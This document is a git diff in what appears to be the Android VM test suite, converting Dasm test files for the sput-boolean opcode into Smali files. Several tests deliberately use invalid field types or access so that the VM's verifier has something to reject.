-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_11.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.TestStubs.TestStubFieldFinal Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.smali
new file mode 100644
index 0000000..3ce40b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_11.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/TestStubs;->TestStubFieldFinal:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.d
deleted file mode 100644
index d6db6ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_12.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_12
-.super java/lang/Object
-
-.field public static final st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_12.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.smali
new file mode 100644
index 0000000..41aaa93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_12.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_12;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.d
deleted file mode 100644
index 0f89bc2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sput_boolean.d.StubInitError
-.super java/lang/Object
-
-.field public static value Z
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 5
-       div-int/2addr v1, v0
-
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.StubInitError.value Z
-       return-void
-.end method
-
-
-.source T_sput_boolean_13.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.StubInitError.value Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.java
index 20d2977..7192b0f 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_boolean.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static boolean value = 5 / 0 > 0 ? true : false; 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..4873c1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_boolean/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:Z
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/StubInitError;->value:Z
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/T_sput_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/T_sput_boolean_13.smali
new file mode 100644
index 0000000..03decd2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/T_sput_boolean_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_13;
+.super Ljava/lang/Object;
+.source "T_sput_boolean_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x1
+
+    sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/StubInitError;->value:Z
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.d
deleted file mode 100644
index cbaa0e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_14.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_14
-.super dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()Z
-.limit regs 2
-
-       sget-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_p1 Z
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_p1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.smali
new file mode 100644
index 0000000..c4c162f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_14.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_14;
+.super  Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()Z
+.registers 2
+
+       sget-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_p1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_p1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.d
deleted file mode 100644
index 4adc0ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_15.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_15
-.super dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_pvt1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.smali
new file mode 100644
index 0000000..76d73e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_15.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_15;
+.super  Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_pvt1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.d
deleted file mode 100644
index 53dbe8f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_17.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_17.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.smali
new file mode 100644
index 0000000..7ac6c54
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_17.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_17;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.d
deleted file mode 100644
index 080e547..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_18.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.smali
new file mode 100644
index 0000000..3eb4fa4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_18.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.d
deleted file mode 100644
index f7922af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_19.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_19
-.super java/lang/Object
-
-.field public static st_f1 F
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 3.14
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_19.st_f1 F
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.smali
new file mode 100644
index 0000000..57f974d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_19;
+.super Ljava/lang/Object;
+.source "T_sput_boolean_19.java"
+
+
+# static fields
+.field public static st_f1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_19;->st_f1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.d
deleted file mode 100644
index 9e6fe7f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_2.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_2
-.super java/lang/Object
-
-.field public static st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_4.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.smali
new file mode 100644
index 0000000..5f63960
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_2.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.d
deleted file mode 100644
index abc0227..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_20.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_20
-.super java/lang/Object
-
-.field public static st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v3, 0    
-       sput-boolean v3, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.smali
new file mode 100644
index 0000000..d520adf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_20;
+.super Ljava/lang/Object;
+.source "T_sput_boolean_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const p0, 0x0
+
+    sput-boolean p0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
